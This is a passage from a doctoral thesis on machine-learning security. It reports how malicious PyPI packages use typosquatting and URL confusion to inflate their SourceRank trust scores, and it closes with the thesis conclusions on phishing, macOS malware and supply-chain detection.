Among the most common legitimate repositories exploited by the at-
tackers, we found two different malware campaigns (3 packages in total)
that exploit the sampleproject repository7, which is a template reposi-
tory provided by the PyPI maintainers to help developers create new pack-
ages. This template repository has more than 5,000 stars on GitHub and
more than 50 contributors, which makes it an attractive target for at-
tackers to exploit. We also found another campaign made of 2 packages,
namely discordbotpresence-0.6.78 and discordbotstatus-0.6.79, that ex-
ploit the Discord-Bot10 and httpx11 repositories, respectively, the latter of
which is a popular HTTP client for Python with more than 14,000 stars
on GitHub and more than 200 contributors. In addition, we found a pack-
age named fake-usreagent12 that leverages typosquatting to impersonate
the fake-useragent13 package and leveraged the URL pointing to its repos-
itory14. We also found additional campaigns that exploit popular reposito-
ries through similar typosquatting techniques and URL confusion. For in-
stance, the frexco-pip-requests15 package exploits the well-known requests
package, which is a popular HTTP library for Python with more than
50,000 stars on GitHub and more than 600 contributors. It is worth not-
ing that its name has been chosen to resemble the name of the requests
package by using the prefix augmentation technique [123], a common ap-

6We consider a repository legitimate if it is associated with a package that is not

malicious according to the OpenSSF database [127] and the PyPI private database [56].
7https://github.com/pypa/sampleproject
8https://libraries.io/pypi/discordbotpresence
9https://libraries.io/pypi/discordbotstatus

10https://github.com/CorwinDev/Discord-Bot
11https://github.com/encode/httpx
12https://libraries.io/pypi/fake-usreagent
13Note that the attacker swapped the e with r in the useragent word: fake-useragent

=⇒ fake-usreagent
14https://github.com/fake-useragent/fake-useragent
15https://libraries.io/pypi/frexco-pip-requests

https://github.com/pypa/sampleproject
https://libraries.io/pypi/discordbotpresence
https://libraries.io/pypi/discordbotstatus
https://github.com/CorwinDev/Discord-Bot
https://github.com/encode/httpx
https://libraries.io/pypi/fake-usreagent
https://github.com/fake-useragent/fake-useragent
https://libraries.io/pypi/frexco-pip-requests
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Repository Counting

pypa/sampleproject 3
CowinDev/Discord-Bot 1

encode/httpx 1
fake-useragent/fake-useragent 1

psf/requests 1
cuongitl/python-bitget 4

others 4

Total 15 (7%)

Table 6.3: Analysis of the URL confusion evasion approach for the real-
world dataset.

proach for dependency confusion attacks [123]. Finally, we also found a
campaign made of 4 packages obtained by suffix augmentation [123], namely
python-bitget-api-3.3.516, python-bitget-connect-0.3.917, python-bitget-
request-4.9.518, and python -bitget-wrapper-0.3.719, which exploit the
bitget-api20 repository, a Python library for cryptocurrency trading on the
Bitget exchange.

Finally, we analyzed the SourceRank of the packages that leverage this
evasion technique and found that the average SourceRank score is 10, while
the maximum is 15, which is particularly high compared to the average
SourceRank of malicious (3.46) and, above all, benign (7.75) packages in
the real-world dataset. Moreover, all of them also leverage other evasion
techniques described in the threat modeling (see Section 6.2) to manipulate
other metrics that are very easy to manipulate, such as Follows SemVer or
Readme present. This confirms that URL confusion, combined with other
evasion approaches, can effectively increase the SourceRank of a malicious
package, hence masquerading it as a trustworthy package.

16https://libraries.io/pypi/python-bitget-api
17https://libraries.io/pypi/python-bitget-connect
18https://libraries.io/pypi/python-bitget-request
19https://libraries.io/pypi/python-bitget-wrapper
20https://github.com/cuongitl/python-bitget

https://github.com/pypa/sampleproject
https://github.com/CorwinDev/Discord-Bot
https://github.com/encode/httpx
https://github.com/fake-useragent/fake-useragent
https://github.com/psf/requests
https://github.com/cuongitl/python-bitget
https://libraries.io/pypi/python-bitget-api
https://libraries.io/pypi/python-bitget-connect
https://libraries.io/pypi/python-bitget-request
https://libraries.io/pypi/python-bitget-wrapper
https://github.com/cuongitl/python-bitget
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[RQ6.3] URL confusion is an emerging technique that is exploited by 7%
of the malicious packages in the real-world dataset (compared to 4.2% in
the MalwareBench dataset). Combined with other evasion techniques,
this approach can result in very high SourceRank scores (up to 15),
hence allowing attackers to effectively masquerade a malicious package
as a trustworthy one.

6.4 Conclusions and Future Work

The software supply chain requires nowadays robust and reliable scoring
systems to assess the trustworthiness of open-source projects and packages.
In this work, we focused on SourceRank, a well-known score developed
by Libraries.io for ranking and evaluating the popularity of open source
packages. We performed a threat modeling of the SourceRank score and
analyzed its effectiveness in discriminating benign from malicious packages
in the PyPI ecosystem.

Our study identified multiple evasion techniques, notably URL confu-

sion, which can manipulate 5 of the 18 metrics and inflate the score of
malicious packages.

Evaluated on both MalwareBench and a real-world dataset of 122,398
PyPI packages, we showed that SourceRank is unreliable in real-world set-
tings, as it fails to promptly reflect the removal of malicious packages, even
months after disclosure. We also found that URL confusion is an emerg-
ing threat, growing from 4.2% in MalwareBench to 7.0% in our real-world
dataset, enabling malicious packages to reach scores as high as 15.

By showing the limitations of SourceRank, our study raises awareness
about the false sense of security it may create and helps to improve the
existing scoring systems for evaluating the security posture of open source
projects.

Future work should explore the design of more robust scoring systems
that are resilient to adversarial manipulation, and investigate the integration
of additional security signals, such as static and dynamic analysis results,
to enhance the detection of malicious packages.



Chapter 7

Conclusions

7.1 Overview

This thesis has explored the challenges and opportunities of designing ro-
bust and effective cybersecurity detection systems based on machine learn-
ing, with a focus on phishing webpage detection, macOS malware detection
and software supply-chain security. Across these domains, this thesis has
highlighted both the potential of adversarial machine learning to enhance
security defenses and the limitations that arise when they are exposed to
adversarial attacks and evaluated in real-world settings.

In the following, we first summarize the contributions of each study, and
outline potential directions for future research. Then, we outline the key
lessons learned from our research and their broader implications for the field
of machine learning for cybersecurity. Finally, we summarize the academic
and industrial impact of this thesis.

7.2 Summary of Contributions and Future Work

7.2.1 Phishing Webpage Detection

Key Findings. In Chapter 3, we proposed a novel methodology for gener-
ating query-efficient adversarial phishing webpages, combining 14 functionality-
and rendering-preserving HTML manipulations with a tailored black-box
optimizer. Our attacks significantly outperform prior work, completely
evading several state-of-the-art ML-based phishing detectors, while requir-
ing only 30 queries to the target model.
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Future Directions. Future work should explore defenses such as adver-
sarial training and certified robustness, as well as evaluate our attacks in
real-world settings against production-grade detectors and alternative fea-
ture representations.

7.2.2 macOS Malware Detection

Key Findings. In Chapter 5, we tackled the underexplored problem of
macOS malware detection by introducing a new dataset of 41,129 Mach-O
executables and designing a new detector leveraging domain-specific fea-
tures of the macOS ecosystem, including certificates, entitlements, persis-
tence, and key system APIs. Our detector achieved state-of-the-art detec-
tion performance (98.50%), outperforming existing approaches by 16.56%,
and demonstrated remarkable generalization capabilities on a fresh dataset
of 9,000 samples (99.50%). Moreover, we demonstrated the key role of
macOS-specific features by analyzing their importance in depth and show-
ing a 15.92% drop in detection rate when they are excluded.

Future Directions. Future work should investigate the impact of leverag-
ing dynamic features in addition to the static features proposed in this study,
as well as longitudinal studies to evaluate how the performance of the pro-
posed detector changes over time against specific malware families. Finally,
other interesting directions include assessing the adversarial robustness of
our detector against both current attacks designed for Windows malware
detectors, and novel ones specifically targeting macOS features.

7.2.3 Software Supply-Chain Security

Key Findings. We performed two studies on software supply-chain secu-
rity. The former, presented in Chapter 4, introduced a robust and adaptive
detector for malicious PyPI packages that incorporates adversarial train-
ing to enhance robustness against code obfuscation techniques and can be
seamlessly integrated into both public and enterprise ecosystems. Our key
findings reveal the double-edged trade-off of adversarial training: while it
boosts robustness by 2.5× and raises detection of obfuscated malware by
10%, it introduces a slight performance drop (-1%) on clean samples. Im-
portantly, the detector adapts to diverse operational needs – from strict
low-FPR repository vetting to enterprise settings with higher tolerance –
achieving practical impact that uncovered 346 malicious packages.
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The latter, presented in Chapter 6, analyzed the SourceRank score, a
widely used scoring system for open-source packages, through a comprehen-
sive threat modeling and large-scale evaluation. Our study revealed several
evasion techniques, most critically URL confusion, which manipulates mul-
tiple SourceRank metrics and allows malicious packages to achieve inflated
scores. Across MalwareBench and a dataset of 122,398 PyPI packages, we
showed that SourceRank is unreliable in practice, failing to reflect pack-
age removals and enabling attackers to masquerade malicious projects as
trustworthy.

Future Directions. We envision several future research directions for
both studies. As for the former study, future work includes evaluating
the detector on other popular ecosystems like NPM, exploring advanced
techniques based on deep learning and LLMs, and incorporating dynamic
analysis features to enhance detection capabilities of the proposed solution.
As for the latter one, future work includes the design of more robust scoring
systems that are resilient to adversarial manipulation, and investigating
the integration of additional static and dynamic analysis results to further
enhance the detection of malicious packages.

7.3 Lessons Learned

Across these works, several key insights emerge:

Domain knowledge is essential. Domain expertise is crucial in both de-
signing effective attacks and crafting robust defenses. For instance, domain
knowledge is essential to craft functionality-preserving adversarial manip-
ulations for HTML [115] and Python source code [114], which resulted in
highly effective evasion attacks in both the phishing and software supply-
chain domains, respectively. Moreover, in the context of macOS malware
detection, leveraging platform-specific features and contextual understand-
ing of the macOS operating system proved essential for achieving high de-
tection rates and robust generalization over time.

Robustness requires adversarial evaluation. Standard benchmarks
focused only on accuracy are insufficient. Only by effectively testing against
well-grounded adversarial attacks can we assess whether a defense provides
meaningful protection.

Trade-offs are inevitable. Robustness often comes at the cost of some
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accuracy on clean data, as shown in the experiments about AT in the con-
text of software supply-chain security in Chapter 4. This trade-off must
be carefully managed based on the specific operational context and threat
model.

Adaptability matters as much as accuracy. Detection systems must
align with the operational constraints and goals of their stakeholders, rather
than pursuing a single global optimum.

Ecosystem-level trust is fragile. Trust metrics must themselves be de-
signed with adversarial robustness in mind, lest they become new attack
surfaces.

Collectively, these lessons argue for a shift in how machine learning is
developed and evaluated for security: from narrowly scoped accuracy bench-
marks to holistic, adversarially grounded, and context-aware approaches.

7.4 Academic and Industrial Impact

This thesis has contributed to both the academic and industrial communities
in several ways.

Academically, the results of this thesis have been published in 5 peer-
reviewed venues, specifically:

• two papers at CORE-A security conferences, namely ACSAC 2025 [114]
and ASIA CCS 2026 [118],

• one Q1 journal paper in the IEEE Transactions on Information Foren-
sics and Security (TIFS) [54],

• one paper at a leading workshop on AI security, namely the 16th ACM
Workshop on Artificial Intelligence and Security (AISec 2023) at ACM
CCS 2023 [115],

• one paper at a CORE-B security conference, namely the 41st ACM/SI-
GAPP Symposium on Applied Computing (SAC 2026) [119].

Moreover, the contributions of this thesis have also been disseminated through
several talks at both academic and industry events, namely the 6th Con-
ference on Applied Machine Learning in Information Security (CAMLIS
2023) [116] and BSides Barcelona 2025 [113].
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From an industrial perspective, the detector proposed in Chapter 4 has
been adopted in a proof-of-concept implementation for scanning PyPI pack-
ages in both SAP (for scanning Python dependencies adopted by internal
and open-source projects) and for the public PyPI repository. While the pro-
posed solution is not yet deployed at scale and needs further evaluation in
real-world settings, it has shown promising results in identifying more than
300 malicious packages, demonstrating the potential for real-world impact
of the proposed solution. Finally, the insights and methodologies for gen-
erating adversarial phishing webpages and malicious packages presented in
Chapters 3 and 4, respectively, have also contributed to the TESTABLE1

EU H2020 project (deliverables D5.2 and D7.3), which aims to develop novel
techniques for security and privacy testing of web-based and AI-powered ap-
plications.

Overall, we believe that the insights and methodologies presented in this
thesis can serve as a foundation for future research and development in this
critical area, ultimately contributing to more secure and resilient ML-driven
cybersecurity systems.

1https://cordis.europa.eu/project/id/101019206

https://cordis.europa.eu/project/id/101019206
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